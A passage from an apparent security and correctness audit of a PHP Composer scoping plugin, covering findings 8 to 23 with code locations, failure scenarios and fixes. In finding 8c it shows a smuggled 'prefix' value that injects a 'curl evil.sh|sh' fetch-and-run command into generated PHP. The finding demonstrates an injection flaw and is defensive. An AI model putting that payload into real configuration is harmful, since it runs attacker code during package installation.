'%%cwd%%'; -$deps = '%%deps%%'; -$prefix = strtolower( preg_replace( "/[[a-zA-Z0-9]+]/", '', '%%prefix%%' ) ); -``` - -Values are spliced into **single-quoted PHP string literals** with no escaping. In a -single-quoted literal only `\'` and `\\` are special, which means: - -**8a — Apostrophe in the project path → parse error (realistic).** -A user at `/Users/o'brien/sites/plugin` gets: - -```php -$cwd = '/Users/o'brien/sites/plugin'; -``` - -→ `PHP Parse error: syntax error, unexpected identifier "brien"`. The scoping step fails after -php-scoper and `dump-autoload` have already run; the temp dir is orphaned. Apostrophes in home -directory names are common enough to hit. - -**8b — Windows path ending in a separator → unterminated string (realistic).** -`"folder": "deps\\"` in `composer.json` (a natural thing to write on Windows) yields -`$deps = 'C:\proj\deps\';` → the `\'` escapes the quote → unterminated string, parse error. -Similarly, `%%cwd%%` at a drive root (`C:\`) breaks. - -Note: ordinary Windows paths *do* survive, because `\U`, `\d`, `\p`, `\t` etc. are not escape -sequences in single quotes. The failure is specifically about a **trailing backslash** and about -**embedded apostrophes**. - -**8c — Code injection via `prefix` / `folder` / `temp`.** - -```json -{ "extra": { "wpify-scoper": { "prefix": "Foo'; system('curl evil.sh|sh'); //" } } } -``` - -produces executable PHP in `$temp/postinstall.php`. The attacker needs write access to -`composer.json`, which mostly means they already win — but this matters for the realistic case -of **installing a third-party package/template whose `composer.json` you did not audit**, and it -turns a config-file read into arbitrary code execution during `composer install`. It also means -the config values are not validated at all. - -**8d — Backslash consumption in the `%%prefix%%` replacement.** `str_replace` is literal, so a -prefix is inserted verbatim; but `postinstall.php:43` then uses `$prefix` inside a *preg -replacement string* (`"'" . $prefix . "\\1' => \\2,"`). A prefix ending in a digit-adjacent -backslash would be reinterpreted as a backreference. Low likelihood, but it is the same class of -bug. - -**Fix.** Stop templating source code. Two good options: - -- **Preferred:** write the values as a data file and read them: - ```php - // Plugin::execute() - $this->createJson( $this->path( $this->tempDir, 'postinstall.json' ), array( - 'source' => $source, 'destination' => $destination, 'cwd' => getcwd(), - 'composer_lock' => $this->composerlock, 'deps' => $this->folder, - 'temp' => $this->tempDir, 'prefix' => $this->prefix, - ) ); - ``` - and in `postinstall.php`: - ```php - $cfg = json_decode( file_get_contents( __DIR__ . '/postinstall.json' ), true ); - ``` - `postinstall.php` then needs no templating at all and can be copied verbatim (or even executed - in place from the package, with the JSON path passed as `argv[1]`). -- **Minimal:** replace each `str_replace` with `var_export($value, true)` substitution into an - unquoted slot (`$source = %%source%%;`), which escapes correctly for any string. - -Independently, **validate `prefix`** in `activate()`: - -```php -if ( ! preg_match( '/^[A-Za-z_\x80-\xff][A-Za-z0-9_\x80-\xff]*(\\\\[A-Za-z_\x80-\xff][A-Za-z0-9_\x80-\xff]*)*$/', $prefix ) ) { - throw new \RuntimeException( 'wpify-scoper: extra.wpify-scoper.prefix must be a valid PHP namespace.' ); -} -``` - -**Benefit.** Removes a code-injection vector and two realistic parse-error classes; makes -`postinstall.php` independently testable (it currently cannot be run or linted standalone, -because `%%source%%` is not valid content). -**Downside.** One extra file in the temp dir. Slightly larger refactor than a one-liner. -**Severity:** High (Critical if you count 8c as a security boundary). **Effort:** M. - ---- - -## 9. Unchecked `file_get_contents` → `preg_replace(false)` empties the autoload files - -**Location:** `scripts/postinstall.php:39-53` - -```php -$autoload_static = file_get_contents( $autoload_static_path ); -$autoload_static = preg_replace( ..., $autoload_static ); -file_put_contents( $autoload_static_path, $autoload_static ); - -$scoper_autoload = file_get_contents( $scoper_autoload_path ); -$scoper_autoload = preg_replace( ..., $scoper_autoload ); -file_put_contents( $scoper_autoload_path, $scoper_autoload ); -``` - -If either file is missing, `file_get_contents()` returns `false` with a warning; `preg_replace()` -on `false` returns `''` (with a PHP 8.1 deprecation); `file_put_contents()` then **creates or -truncates the file to zero bytes**. The result is shipped into `deps/`. - -`$destination/vendor/scoper-autoload.php` is the realistic case: php-scoper only emits it when -there is something to alias. A dependency set with no exposed symbols therefore produces an -empty `scoper-autoload.php` in `deps/vendor/`, and any user code doing -`require 'deps/vendor/scoper-autoload.php'` silently gets nothing (the README instructs users to -include the scoped autoload). - -`preg_replace()` can also return `null` on PCRE failure (backtrack limit — plausible on -`autoload_static.php` for a very large classmap with the `.*?`-free but unanchored pattern), -which likewise truncates the file. **UNCONFIRMED:** I did not reproduce a PCRE backtrack limit -hit on a real file; the `false` path is confirmed by PHP semantics. - -**Fix.** - -```php -function rewrite( string $path, callable $fn ): void { - if ( ! is_file( $path ) ) { - return; // nothing to rewrite - } - - $content = file_get_contents( $path ); - - if ( false === $content ) { - fwrite( STDERR, "wpify-scoper: cannot read {$path}\n" ); - exit( 1 ); - } - - $result = $fn( $content ); - - if ( ! is_string( $result ) || '' === $result ) { - fwrite( STDERR, "wpify-scoper: rewrite of {$path} failed (" . preg_last_error_msg() . ")\n" ); - exit( 1 ); - } - - if ( false === file_put_contents( $path, $result ) ) { - fwrite( STDERR, "wpify-scoper: cannot write {$path}\n" ); - exit( 1 ); - } -} -``` - -**Benefit.** Never ships a truncated autoloader; missing optional files are handled explicitly. -**Downside.** None. -**Severity:** High. **Effort:** S. - ---- - -## 10. `composerlock` derivation can alias `composerjson`, destroying the user's config file - -**Location:** `src/Plugin.php:69-72` → `scripts/postinstall.php:57-58` - -```php -$configValues['composerlock'] = preg_replace( '/\.json$/', '.lock', $extra['wpify-scoper']['composerjson'] ); -``` - -If `composerjson` does not end in a lowercase `.json`, `preg_replace` returns it **unchanged**, -so `composerlock === composerjson`. Verified: - -| `composerjson` | derived `composerlock` | -|---|---| -| `composer-deps.json` | `composer-deps.lock` | -| `deps.config` | `deps.config` | -| `a.JSON` | `a.JSON` | -| `x.json.dist` | `x.json.dist` | - -Then in `postinstall.php`: - -```php -remove( path( $cwd, $composer_lock ) ); -copy( path( $destination, 'composer.lock' ), path( $cwd, $composer_lock ) ); -``` - -**Reproducing scenario.** A user sets `"composerjson": "deps.json5"` (or `"scoped.config"`, or -uppercases the extension on a case-sensitive filesystem). First `composer update`: -`Plugin::execute()` reads their file fine, then `postinstall.php` **deletes it** and writes the -generated `composer.lock` over it. Their dependency declaration is gone; the next run creates an -empty `composer-deps.json`-equivalent (`src/Plugin.php:137-141`) and installs nothing. - -**Fix.** Derive by replacing the actual extension and assert the result differs: - -```php -$json = $extra['wpify-scoper']['composerjson']; -$lock = preg_replace( '/\.[^.\/\\\\]*$/', '.lock', $json ); - -if ( $lock === $json || '' === $lock ) { - $lock = $json . '.lock'; -} -``` - -Additionally assert `$this->composerlock !== $this->composerjson` in `execute()` and fail loudly -if a user explicitly configures them equal. - -**Benefit.** Removes a silent data-loss path triggered by a documented config option. -**Downside.** None. -**Severity:** High (low likelihood × high impact). **Effort:** S. - ---- - -## 11. `realpath()` of the php-scoper phar is unchecked - -**Location:** `src/Plugin.php:167` - -```php -$phpscoper = realpath( __DIR__ . '/../../php-scoper/bin/php-scoper.phar' ); -``` - -`realpath()` returns `false` when the path does not exist. `false . ' add-prefix …'` yields -`" add-prefix --output-dir=…"` — a command starting with a space. The shell then tries to run -`add-prefix`, fails with `command not found`, composer aborts the script chain, and the user gets -no hint that php-scoper is missing. - -**When it happens:** the hardcoded `../../php-scoper` assumes the installed layout -`vendor/wpify/scoper/src` → `vendor/wpify/php-scoper`. It is wrong for anyone running the plugin -from a git clone or a path repository, and it breaks with a non-default `vendor-dir`, with -`composer/installers` remapping, and if `wpify/php-scoper` ever changes its package name or -ships the binary elsewhere. - -**Fix.** Resolve through Composer instead of guessing: - -```php -$vendorDir = $this->composer->getConfig()->get( 'vendor-dir' ); -$phpscoper = $this->path( $vendorDir, 'wpify', 'php-scoper', 'bin', 'php-scoper.phar' ); - -if ( ! is_file( $phpscoper ) ) { - throw new \RuntimeException( sprintf( - 'wpify-scoper: php-scoper not found at %s. Is wpify/php-scoper installed?', $phpscoper - ) ); -} -``` - -**Benefit.** Correct in every layout; a clear error when it is genuinely missing. -**Downside.** None. -**Severity:** Medium. **Effort:** S. - ---- - -## 12. The nested install's exit code is discarded — failures are reported as success - -**Locations:** `src/Plugin.php:197`, `src/Plugin.php:290-305`, `bin/wpify-scoper:41` - -```php -$this->runInstall( $source, $command, $useDevDependencies ); // return value dropped -``` - -`runInstall()` returns `Application::run()`'s exit code, which `execute()` ignores. `execute()` -returns `void`, and Composer's `EventDispatcher` treats a script-handler callable that neither -throws nor returns a non-zero value as success. `bin/wpify-scoper` likewise ends after -`$scoper->execute($fakeEvent)` with no `exit()`. - -**Reproducing scenario.** `composer-deps.json` requires a package with an unsatisfiable -constraint, or a private repository the CI runner cannot authenticate to. The nested install -fails and prints its error to `ConsoleOutput`. `composer install` then **exits 0**. CI goes -green, `deps/` still contains the previous (or no) build, the temp dir is left behind, and the -release ships stale dependencies. - -Same for `bin/wpify-scoper install` in a release script — always exits 0. - -**Fix.** - -```php -// Plugin::execute() -$exitCode = $this->runInstall( $source, $command, $useDevDependencies ); - -if ( 0 !== $exitCode ) { - throw new \RuntimeException( sprintf( - 'wpify-scoper: nested composer %s failed with exit code %d.', $command, $exitCode - ) ); -} -``` - -and make `execute()` return the code, with `bin/wpify-scoper` doing `exit( $scoper->execute( $fakeEvent ) ?? 0 );`. - -**Benefit.** CI actually fails when scoping fails; no stale `deps/` shipped. -**Downside.** Builds that currently "pass" while silently doing nothing will start failing — -which is the point, but it will surface pre-existing breakage. -**Severity:** Medium (High for anyone with a release pipeline). **Effort:** S. - ---- - -## 13. The prefix-sanitising regex does not do what it appears to do - -**Location:** `scripts/postinstall.php:36` - -```php -$prefix = strtolower( preg_replace( "/[[a-zA-Z0-9]+]/", '', '%%prefix%%' ) ); -``` - -Read carefully, the pattern is: character class `[[a-zA-Z0-9]` (i.e. **`[`, letters, digits**), -then `+`, then a **literal `]`**. It matches *"a run of bracket-or-alnum characters followed by a -closing bracket"*. It is almost certainly meant to be `/[^a-zA-Z0-9]+/` (strip everything that is -not alphanumeric). - -**Verified behaviour:** - -| input | output | -|---|---| -| `MyDepsNamespace` | `MyDepsNamespace` (no-op) | -| `My_Deps\Namespace` | `My_Deps\Namespace` (no-op) | -| `Foo[bar]Baz` | `Baz` | - -**Consequences.** - -- For every realistic prefix it is a **no-op**, so the effective value is just - `strtolower($prefix)`. That happens to work for the `$files` identifier prefixing, so nothing - is visibly broken today — which is exactly why the bug has survived. -- Non-alphanumeric characters are **not** stripped. A namespaced prefix such as - `Acme\MyPlugin\Deps` yields `$prefix = 'acme\myplugin\deps'`, which is then spliced into a - *preg replacement string* at line 43 (`"'" . $prefix . "\\1' => \\2,"`). Backslashes in a - replacement string are significant: `\m`, `\d` are passed through, but a prefix whose - backslash is followed by a digit becomes a backreference. It also produces odd but syntactically - valid array keys like `'acme\myplugin\deps6e3fae…'`. -- If a prefix ever *does* contain brackets, an arbitrary chunk of it is deleted, changing the - identifier namespace between runs. - -**Fix.** - -```php -$prefix = strtolower( preg_replace( '/[^a-zA-Z0-9]+/', '', $cfg['prefix'] ) ); -``` - -(and, better, use a stable hash: `substr( md5( $cfg['prefix'] ), 0, 8 ) . '_'` — immune to -casing, separators and length). - -**Benefit.** Predictable, injection-safe identifier prefix; the code says what it means. -**Downside.** Changes the `$files` identifiers for prefixes containing separators, so one -rebuild is needed. Harmless (identifiers are regenerated every run). -**Severity:** Medium. **Effort:** S. - ---- - -## 14. Temp directory: weak randomness, project-dir pollution, no cleanup on failure - -**Location:** `src/Plugin.php:58` - -```php -'temp' => $this->path( getcwd(), 'tmp-' . substr( str_shuffle( md5( microtime() ) ), 0, 10 ) ), -``` - -**14a — Weak randomness.** `str_shuffle()` uses the non-cryptographic Mt19937 engine, and it -shuffles a *fixed 32-character multiset* (the md5 hex digest). Taking the first 10 characters of -a shuffle of a known multiset yields far less entropy than 10 independent hex characters. Since -the directory sits inside the project (not a world-writable `/tmp`), this is a robustness and -collision concern rather than a classic symlink-attack vector — but on a **shared CI runner with -a shared checkout**, or with two Composer processes started in the same microsecond, two runs can -collide and clobber each other's `source/`, `destination/` and `postinstall.php`. - -**14b — `mkdir()` is unchecked and racy.** `createFolder()` (`src/Plugin.php:278-282`): - -```php -if ( ! file_exists( $path ) ) { - mkdir( $path, 0755, true ); -} -``` - -Classic TOCTOU, and the return value is dropped. If `mkdir` fails (permissions, read-only -filesystem, path length limit on Windows — `MAX_PATH` is very reachable given -`tmp-XXXXXXXXXX/source/vendor/…`), execution continues and every subsequent -`file_put_contents()` fails silently, ending in confusing downstream errors. - -**14c — Never cleaned up on failure.** `remove($temp)` exists **only** at -`scripts/postinstall.php:67`, the last line of the happy path. Every failure mode above -(#5, #6, #7, #8, #9, #11, #12) leaves a `tmp-XXXXXXXXXX/` directory in the project root -containing a full `vendor/` tree — hundreds of MB. There is no `register_shutdown_function`, no -`try/finally`, and no signal handling, so Ctrl-C during the nested install always orphans one. -Repeated failed runs accumulate them, each with a *different* random name. - -**14d — `.gitignore` burden.** Because the name is random, users cannot ignore a fixed path; -they need a `tmp-*` glob, which the README does not mention. Orphaned trees get committed or -break `git status` hygiene. - -**14e — Computed once in `activate()`, used per event.** `$this->tempDir` is fixed at activation. -This is fine for the single-event-per-process reality (see #19) but means two `execute()` calls in -one process would share and then delete the same temp dir mid-flight. - -**Fix.** - -```php -// activate() -'temp' => $this->path( getcwd(), '.wpify-scoper-tmp-' . bin2hex( random_bytes( 6 ) ) ), -``` - -```php -// createFolder() -private function createFolder( string $path ) { - if ( is_dir( $path ) ) { - return; - } - - if ( ! mkdir( $path, 0755, true ) && ! is_dir( $path ) ) { - throw new \RuntimeException( sprintf( 'wpify-scoper: cannot create directory %s', $path ) ); - } -} -``` - -```php -// execute() -register_shutdown_function( function () { - if ( is_dir( $this->tempDir ) ) { - $this->removeDirectory( $this->tempDir ); - } -} ); -``` - -and move the `remove($temp)` responsibility out of `postinstall.php` (it currently deletes the -script it is executing from — which works on POSIX but is fragile on Windows, where the file may -be locked). Document a `.gitignore` entry, or use a single fixed dot-prefixed parent -(`.wpify-scoper/`) so one `.gitignore` line covers it. - -**Benefit.** No leaked multi-hundred-MB trees; no collisions; a single ignorable path. -**Downside.** `register_shutdown_function` will not fire on `SIGKILL`; acceptable. -**Severity:** Medium. **Effort:** M. - ---- - -## 15. The patcher rebuilds a 3,392-needle `str_replace` for every single file - -**Location:** `config/scoper.inc.php:79-103` - -```php -usort( $config['exclude-classes'], function ( $a, $b ) { return strlen( $b ) - strlen( $a ); } ); - -$searches = array(); $replacements = array(); - -foreach ( $config['exclude-classes'] as $symbol ) { /* 2 entries each */ } -foreach ( $config['exclude-namespaces'] as $symbol ) { /* 2 entries each */ } - -$content = str_replace( $searches, $replacements, $content, $count ); -``` - -This is inside the patcher closure, so it runs **once per patched file**. - -**Measured** (this machine, PHP 8.x, default globals `wordpress` + `woocommerce` + -`action-scheduler` + `wp-cli`, giving 1,219 `exclude-classes` and 477 `exclude-namespaces` → -**3,392 needles**), against a 14 KB synthetic PHP file: - -| step | per file | -|---|---| -| `usort` (first call, unsorted) | 0.33 ms | -| `usort` (subsequent, already sorted) | 0.23 ms | -| building `$searches`/`$replacements` | 0.14 ms | -| `str_replace` with 3,392 needles | **4.27 ms** | -| **total** | **~4.65 ms** | - -Extrapolated: **~23 s for 5,000 files, ~90 s for 20,000 files** of pure patcher overhead, on top -of php-scoper's own parsing. Cost scales with file size, so a real vendor tree (many files far -larger than 14 KB) will be worse. - -**Correction to the premise:** the `usort` is *not* the dominant cost. `$config` is captured -**by value** via `use ($config)`, and the closure instance is reused, so the array stays sorted -after the first call — subsequent sorts are the near-best case (0.23 ms, ~5 % of the total). -The real cost is `str_replace` itself (92 %), which is inherent to the approach, plus the array -rebuild (3 %). - -**Fix.** Hoist everything invariant out of the closure: - -```php -$excludeClasses = $config['exclude-classes'] ?? array(); -$excludeNamespaces = $config['exclude-namespaces'] ?? array(); - -usort( $excludeClasses, static fn( $a, $b ) => strlen( $b ) - strlen( $a ) ); - -$searches = array(); -$replacements = array(); - -foreach ( array_merge( $excludeClasses, $excludeNamespaces ) as $symbol ) { - $searches[] = "\\$prefix\\$symbol"; - $replacements[] = "\\$symbol"; - $searches[] = "use $prefix\\$symbol"; - $replacements[] = "use $symbol"; -} - -'patchers' => array( - function ( string $filePath, string $prefix, string $content ) use ( $searches, $replacements ): string { - ... - return str_replace( $searches, $replacements, $content ); - }, -), -``` - -That reclaims the 0.37 ms/file of sort+build (~8 %). For the remaining 92 %, the real win is a -**single `preg_replace_callback`** over `\\?Prefix\\([A-Za-z0-9_\\]+)` with an -`isset($excludedLookup[$symbol])` hash test — one pass over the content instead of 3,392, and -it also fixes a correctness issue: `str_replace` with `"\\$prefix\\$symbol"` matches on prefixes, -so an excluded class `WP` will also rewrite `\Prefix\WPSomethingElse` → `\WPSomethingElse`. The -length-descending `usort` is a partial mitigation for that, but only a partial one — it does not -help when the shorter symbol is a strict prefix of an unrelated *unlisted* name. - -Also note `$count` (`config/scoper.inc.php:83,103`) is assigned and never read — dead. - -**Benefit.** Roughly an order of magnitude off the patcher for large trees, plus removal of a -real prefix-collision correctness bug. -**Downside.** The `preg_replace_callback` rewrite needs test coverage; the `str_replace` version -is easier to reason about. Doing only the hoist is a safe, zero-risk first step. -**Severity:** Medium. **Effort:** M (S for the hoist alone). - ---- - -## 16. `path()` collapses only a single doubled separator and mangles absolute inputs - -**Location:** `src/Plugin.php:110-114` - -```php -public function path( ...$parts ) { - $path = join( DIRECTORY_SEPARATOR, $parts ); - - return str_replace( DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR, $path ); -} -``` - -**Verified behaviour:** - -| call | result | -|---|---| -| `path('/cwd', '/abs/deps')` | `/cwd/abs/deps` — **absolute input silently made relative** | -| `path('/cwd', 'deps/')` | `/cwd/deps/` — trailing separator preserved | -| `path('/cwd', 'a//b')` | `/cwd/a/b` | -| `path('/cwd', 'a///b')` | `/cwd/a//b` — **only one pass**, triples survive | - -**Consequences.** - -- **Absolute `folder`/`temp` are silently relocated.** `"folder": "/var/www/shared/deps"` becomes - `/var/www/shared/deps`. The README does not say `folder` must be relative, so this is - a real trap; the user gets a deeply nested directory in their project with no error. -- **Windows absolute paths are destroyed.** `path(getcwd(), 'C:\deps')` → `C:\proj\C:\deps`, - which is not a valid path at all. -- **Trailing separators propagate into the generated `postinstall.php`** and, on Windows, produce - the unterminated-string parse error described in #8b. -- The single-pass collapse means `str_replace` cannot normalise `a///b`, so odd user input leaks - through into the php-scoper `--config`/`--output-dir` arguments. - -**Fix.** - -```php -public function path( ...$parts ) { - $parts = array_filter( $parts, static fn( $p ) => '' !== $p && null !== $p ); - $path = join( DIRECTORY_SEPARATOR, $parts ); - - return rtrim( preg_replace( '#[/\\\\]+#', DIRECTORY_SEPARATOR, $path ), DIRECTORY_SEPARATOR ); -} -``` - -and add an explicit absolute-path check at the call sites in `activate()`: - -```php -private function resolve( string $value ): string { - $isAbsolute = '' !== $value - && ( $value[0] === '/' || $value[0] === '\\' || preg_match( '#^[A-Za-z]:[\\\\/]#', $value ) ); - - return $isAbsolute ? $this->path( $value ) : $this->path( getcwd(), $value ); -} -``` - -**Benefit.** Absolute `folder`/`temp` work as users expect; Windows paths survive; no trailing -separators leak downstream. -**Downside.** `rtrim` changes results for anyone currently depending on a trailing separator -(nothing in the codebase does). Absolute-path support is a behaviour change — but the current -behaviour is not something anyone can be depending on deliberately. -**Severity:** Medium. **Effort:** S. - ---- - -## 17. `getCapabilities()` is dead code - -**Location:** `src/Plugin.php:104-108` - -```php -public function getCapabilities() { - return array( CommandProvider::class => self::class ); -} -``` - -Verified: `src/Plugin.php:16` declares -`class Plugin implements PluginInterface, EventSubscriberInterface` — **not** -`Composer\Plugin\Capable` (which does exist in the installed Composer, -`vendor/composer/composer/src/Composer/Plugin/Capable.php:22`). Composer's `PluginManager` only -calls `getCapabilities()` on `Capable` instances, so this method is never invoked. - -Worse, if `Capable` were added, the declaration is wrong twice over: it maps to `self::class`, -and `Plugin` does not implement `Composer\Plugin\Capability\CommandProvider::getCommands()`. -Composer would throw -`RuntimeException: Plugin Wpify\Scoper\Plugin must implement Composer\Plugin\Capability\CommandProvider`. - -This is the root cause of #4 (the `NO_DEV` constants being unreachable): there is no Composer -command registration at all, only `bin/wpify-scoper`. - -**Fix.** Either delete `getCapabilities()` and the unused `CommandProvider` import -(`src/Plugin.php:9`), or implement it properly: - -```php -class Plugin implements PluginInterface, EventSubscriberInterface, Capable { - public function getCapabilities() { - return array( CommandProvider::class => CommandsProvider::class ); - } -} -``` - -with a separate `CommandsProvider implements CommandProvider` returning `wpify-scoper:install` / -`wpify-scoper:update` commands that carry a real `--no-dev` option. - -**Benefit.** Either less misleading code, or first-class `composer wpify-scoper:update --no-dev`. -**Downside.** Implementing it properly is the M-effort half of #4. -**Severity:** Medium. **Effort:** S (delete) / M (implement). - ---- - -## 18. Empty `prefix` is a silent no-op - -**Location:** `src/Plugin.php:127` - -```php -if ( ! empty( $this->prefix ) ) { - // ... the entire body of execute() -} -``` - -`$prefix` defaults to `null` (`src/Plugin.php:55,59`) and is only set from -`extra.wpify-scoper.prefix`. If a user forgets it, misspells the `extra` key -(`wpify_scoper`, `wpify-scoper.prefix` nested wrongly), or writes `"prefix": ""`, **`composer -install` completes normally and nothing at all happens** — no message, no warning, no `deps/` -folder. The README's step 3 makes `prefix` the one mandatory option, so this is the single most -likely first-run mistake, and it produces zero feedback. - -`empty()` also rejects the string `"0"` — a legal (if silly) prefix. - -**Fix.** - -```php -if ( empty( $this->prefix ) ) { - $this->io->writeError( - 'wpify-scoper: extra.wpify-scoper.prefix is not set — skipping dependency scoping.' - ); - - return; -} -``` - -`$this->io` is already stored in `activate()` (`src/Plugin.php:53`) and is currently never used -anywhere in the class — this is a good first use. Combine with the prefix validation from #8. - -**Benefit.** The most common misconfiguration becomes self-diagnosing. -**Downside.** A warning on every install for users who intentionally have the plugin installed -but unconfigured. Gate it on the `extra.wpify-scoper` key being present at all if that matters. -**Severity:** Medium. **Effort:** S. - ---- - -## 19. `require_once` in `createScoperConfig()` returns `true` on a second include → `exit` - -**Location:** `src/Plugin.php:212-216` - -```php -$config = require_once $config_path; - -if ( ! is_array( $config ) ) { - exit; -} -``` - -`require_once` returns the file's return value **only on the first inclusion**. On any subsequent -inclusion in the same process it returns `true` (having done nothing), so `$config === true`, -`is_array()` fails, and the plugin calls a bare **`exit;`** — terminating the entire Composer -process with status 0, mid-run, with no output whatsoever. - -**When can `createScoperConfig()` run twice in one process?** I traced this carefully: - -- `composer install` dispatches `POST_INSTALL_CMD` once; `composer update` dispatches - `POST_UPDATE_CMD` once. Neither dispatches both. So the default path calls `execute()` once. -- The nested `runInstall()` constructs a fresh `Composer\Console\Application` **in the same PHP - process**. That nested Composer builds its own `EventDispatcher` and its own `PluginManager` - from `$temp/source`, so `Wpify\Scoper\Plugin` is not re-registered there — unless - `composer-deps.json` itself requires `wpify/scoper`, or the user has it installed as a - **global** Composer plugin (globals are loaded by every Composer instance). In the global case - `execute()` *does* run again in the same process and hits the `exit`. -- `bin/wpify-scoper` calls `activate()` + `execute()` exactly once. - -**UNCONFIRMED:** I did not reproduce a double invocation end-to-end. The global-plugin path is -the most plausible trigger and follows from Composer's plugin loading, but I have not verified it -against a real global install. What *is* certain is that the code has no defence and that the -failure mode — a bare `exit` from inside a library — is severe out of proportion to its -likelihood. - -Regardless of reachability, **`exit` inside a Composer plugin is wrong**: it bypasses Composer's -error reporting, its shutdown handlers, and its exit-code contract, so the caller sees success. - -**Fix.** - -```php -$config = require $config_path; // plain require: always returns the value - -if ( ! is_array( $config ) ) { - throw new \RuntimeException( sprintf( - 'wpify-scoper: %s must return an array.', $config_path - ) ); -} -``` - -`config/scoper.config.php` is a pure `return array(...)` with no side effects -(`config/scoper.config.php:3-7`), so `require` is safe and idempotent. - -The same pattern exists at `config/scoper.inc.php:5` -(`$config = require_once __DIR__ . '/scoper.config.php';`) — that file runs in its own php-scoper -process so the risk is lower, but it should be `require` for the same reason. - -**Benefit.** Removes a silent whole-process abort; makes the include order-independent. -**Downside.** None. -**Severity:** Medium. **Effort:** S. - ---- - -## 20. `array_merge_recursive` on the plugin side never de-duplicates - -**Location:** `src/Plugin.php:223-256` - -```php -$config = array_merge_recursive( $config, require $this->path( $symbols_dir, 'wordpress.php' ) ); -``` - -**Semantics.** All symbol files use list-style (numeric) keys under `exclude-classes`, -`exclude-functions`, `exclude-namespaces`, `exclude-constants`, so `array_merge_recursive` -renumbers and **appends** — the correct behaviour here. The string keys already in `$config` -(`prefix`, `source`, `destination`) are not present in the symbol files, so there is no -string-key-collision-into-array surprise. **This part is fine.** - -**The gap.** `scripts/extract-symbols.php:137-140` applies `array_unique()` *within* each source, -but the plugin never applies it *across* sources. WordPress and WooCommerce overlap -substantially (WooCommerce redeclares WP-adjacent helpers, and both list overlapping namespaces), -so the merged arrays carry duplicates straight into: - -- `var_export()` into `$temp/scoper.config.php` (`src/Plugin.php:263`) — a larger file parsed by - php-scoper on every run, -- the `$searches`/`$replacements` arrays in the patcher (#15) — duplicated needles are pure waste - on the hot path, -- php-scoper's own symbol tables. - -**Measured scale (not the ~200k claimed):** `symbols/wordpress.php` holds **5,332** symbols -(4,190 functions / 540 constants / 524 classes / 78 namespaces); `woocommerce.php` **1,994**; -`wp-cli.php` **75**; `action-scheduler.php` **93**; `plugin-update-checker.php` **33**. Total -under **7,600** across all five. Memory/parse cost is therefore modest — a few MB — and this is -**not** a performance problem worth restructuring for. The duplication is a correctness/tidiness -issue that also feeds #15. - -**Fix.** - -```php -foreach ( array( 'exclude-classes', 'exclude-functions', 'exclude-constants', 'exclude-namespaces' ) as $key ) { - if ( isset( $config[ $key ] ) ) { - $config[ $key ] = array_values( array_unique( $config[ $key ] ) ); - } -} -``` - -immediately before `var_export()` at `src/Plugin.php:263`. This also happens to seed the keys -needed for #5 if combined with a `+=` default. - -Separately, `symbols/wp-cli.php` was extracted from `vendor/wp-cli/wp-cli` -(`scripts/extract-symbols.php:155`) and contains **test-suite classes** — `WpOrgApiTest`, -`InflectorTest`, `SynopsisParserTest`, `ProcessTest`, `UtilsTest`, `FileCacheTest`, -`MockRegularLogger`, `MockQuietLogger`. These are not WP-CLI runtime API and should not be in the -exclusion list; they widen the prefix-collision surface described in #15. `get_files()` -(`scripts/extract-symbols.php:94`) filters `/vendor/` and `/wp-content/` but not `/tests/`. - -**Benefit.** Smaller generated config, fewer needles on the hot path, no bogus test-class -exclusions. -**Downside.** None. -**Severity:** Low. **Effort:** S. - ---- - -## 21. `symbols/plugin-update-checker.php` uses `expose-classes`, which is then neutralised - -**Locations:** `symbols/plugin-update-checker.php`, `config/scoper.inc.php:108-110`, -`scripts/postinstall.php:51-52` - -Verified: `symbols/plugin-update-checker.php` is the only symbol file using **`expose-classes`** -(33 entries); every other file uses `exclude-*`. The pipeline then works against it: - -- `config/scoper.inc.php:108-110` sets `expose-global-classes` / `-functions` / `-constants` to - `false`; -- `scripts/postinstall.php:51-52` **comments out every `humbug_phpscoper_expose_*` call and every - single-line `if (!function_exists(...)) {...}` block** in `vendor/scoper-autoload.php` — the - very mechanism `expose-classes` relies on. - -So enabling `"globals": ["plugin-update-checker"]` asks php-scoper to expose 33 classes and then -deletes the aliases that would expose them. Combined with #5 (that file supplies no -`exclude-classes`), the option is doubly broken: it fatals before it can even be wrong. - -**UNCONFIRMED:** whether the `expose-classes` entries were intentional (an earlier design where -PUC classes had to stay global for cross-plugin compatibility) or a copy-paste slip. The -`extract_symbols` call for PUC is commented out at `scripts/extract-symbols.php:153`, suggesting -the file is hand-maintained and stale. - -**Fix.** Decide the intent. If PUC should be scoped like everything else, regenerate the file -with `exclude-*` keys (and re-enable line 153 pointed at the current PUC version — note the -commented line targets `Puc/v4p11` while `vendor/composer/autoload_static.php` shows the -installed package is `load-v5p7.php`). If PUC classes genuinely must stay global, `exclude-*` -is still the right key — `expose-*` plus the postinstall commenting cannot work. - -**Benefit.** A documented `globals` value stops being a guaranteed crash. -**Downside.** Requires deciding on PUC semantics, which needs product knowledge I do not have. -**Severity:** Low (as a bug it is subsumed by #5; as a design inconsistency it is worth fixing). -**Effort:** S. - ---- - -## 22. `autorun` uses strict `=== false` - -**Location:** `src/Plugin.php:119-125` - -```php -if ( - isset( $extra['wpify-scoper']['autorun'] ) && - $extra['wpify-scoper']['autorun'] === false && - ( $event->getName() === ScriptEvents::POST_UPDATE_CMD || $event->getName() === ScriptEvents::POST_INSTALL_CMD ) -) { - return; -} -``` - -`"autorun": 0`, `"autorun": "false"`, `"autorun": "0"`, `"autorun": null` all fail the strict -comparison, so scoping runs anyway. JSON booleans are the documented form -(`README.md:57` shows `"autorun": true`), so most users will be fine — but the failure is silent -and the user's stated intent is inverted. - -Note the event-name guard is *correct*: it deliberately lets `bin/wpify-scoper`'s -`SCOPER_*_CMD` events through, so manual runs still work with `autorun: false`. Good design, -worth a comment. - -Minor: `$extra` is re-read from the event (`src/Plugin.php:117`) while every other config value -comes from `activate()`. Both read `$composer->getPackage()->getExtra()` on the same root -package, so the values are identical — this is a consistency wart, not a bug. Reading it once in -`activate()` into `$this->autorun` would be cleaner. - -**Fix.** - -```php -$autorun = filter_var( - $extra['wpify-scoper']['autorun'] ?? true, - FILTER_VALIDATE_BOOLEAN, - FILTER_NULL_ON_FAILURE -); - -if ( false === $autorun && in_array( $event->getName(), array( ScriptEvents::POST_UPDATE_CMD, ScriptEvents::POST_INSTALL_CMD ), true ) ) { - return; -} -``` - -**Benefit.** Honours the user's intent for the common truthy/falsy spellings. -**Downside.** None. -**Severity:** Low. **Effort:** S. - ---- - -## 23. Enumeration of unchecked return values - -Complete list, with the concrete consequence of each failure. - -### `src/Plugin.php` - -| Line | Call | Consequence when it fails | 